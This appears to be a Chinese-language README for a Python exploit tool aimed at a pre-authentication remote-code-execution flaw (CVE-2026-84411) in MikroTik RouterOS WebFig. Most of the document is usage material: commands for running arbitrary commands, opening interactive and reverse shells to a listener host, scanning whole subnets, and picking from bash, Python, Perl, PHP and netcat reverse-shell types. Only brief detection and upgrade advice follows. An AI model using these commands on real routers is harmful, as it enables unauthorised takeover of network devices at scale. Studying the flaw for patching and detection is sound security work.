CVE-2026-84411 是 MikroTik RouterOS 中的一个严重预认证远程代码执行(RCE)漏洞。
| 字段 | 值 |
|---|---|
| CVSS v3 | 9.8(严重) |
| CWE | CWE-191:整数下溢 |
| 攻击向量 | 网络 |
| 认证 | 无(预认证) |
| 影响 | 以 root 身份完全 RCE / DoS |
| 受影响版本 | RouterOS < 7.24 |
| 修复版本 | RouterOS 7.24+ |
Web 管理服务(WebFig,监听 TCP/80 和 TCP/443)在其 HTTP 请求体处理中存在一个整数下溢。一个特制的 HTTP 请求——无需登录即可发送——就能使该服务崩溃,或以完全权限实现任意代码执行。
当解析器在验证不足的情况下计算请求体长度时,就会发生下溢,使该值回绕到零以下,并下溢为一个非常大的无符号整数。随后信任这一被破坏长度的内存操作(复制、分配、边界检查)便会表现出灾难性行为。
# 1. Quick scan
python3 cve-2026-84411.py -t http://192.168.88.1
# 2. Full exploit check
python3 cve-2026-84411.py -t http://192.168.88.1 --check
# 3. Execute a command
python3 cve-2026-84411.py -t http://192.168.88.1 --cmd "/system identity print"
# 4. Interactive shell
python3 cve-2026-84411.py -t http://192.168.88.1 --interactive
# 5. Reverse shell
python3 cve-2026-84411.py -t http://192.168.88.1 --shell 10.0.0.1 4444
# 6. Scan multiple targets from file
python3 cve-2026-84411.py -i targets.txt
# 7. Scan a subnet
python3 cve-2026-84411.py --range 192.168.88.0/24
# 8. List available reverse shell types
python3 cve-2026-84411.py --list-shells
usage: cve-2026-84411.py [-h] [-t TARGET] [-i INPUT_FILE] [--range CIDR]
[--check] [--shell LHOST LPORT] [--cmd COMMAND]
[--interactive] [--list-shells]
[--lhost LHOST] [--lport LPORT] [-v]
[--timeout TIMEOUT] [--no-color]
CVE-2026-84411 — MikroTik RouterOS WebFig Integer Underflow Exploit
options:
-h, --help show this help message
-t, --target TARGET Target URL or host (e.g., http://192.168.88.1)
-i, --input INPUT_FILE
File with targets (one per line)
--range CIDR IP range to scan (CIDR notation)
--check Run full exploit check
--shell LHOST LPORT Spawn reverse shell
--cmd COMMAND Execute single command
--interactive Interactive shell session
--list-shells List available reverse shell types
--lhost LHOST Listener host for reverse shell
--lport LPORT Listener port for reverse shell
-v, --verbose Verbose output
--timeout TIMEOUT Request timeout in seconds (default: 10)
--no-color Disable ANSI colours
该工具使用四种检测方法:
Content-Length 远大于实际正文大小的 POST 请求Content-Length 值以触发下溢Content-Length 匹配的超大正文| 类型 | 命令 |
|---|---|
bash | 标准 bash 反弹 Shell |
python | Python 2 反弹 Shell |
python3 | Python 3 反弹 Shell |
perl | Perl 反弹 Shell |
php | PHP 反弹 Shell |
nc | Netcat 反弹 Shell |
targets.txt — 每行一个目标:
http://192.168.88.1
https://10.0.0.1
192.168.1.100
https://router.example.com
保真度最高的信号是来自非已知管理主机的任何与 RouterOS Web 管理端口(TCP/80、TCP/443)的连接。
Sigma 规则请参阅 Security Arsenal 博客文章: https://securityarsenal.com/blog/cve-2026-84411-mikrotik-routeros-pre-auth-integer-underflow-detection-and-remediation-guide
更新至 RouterOS 7.24 或更高版本。
仅限授权安全测试使用。
Python 移植版基于 Gagaltotal666 / GhostGTR666 的 Go PoC。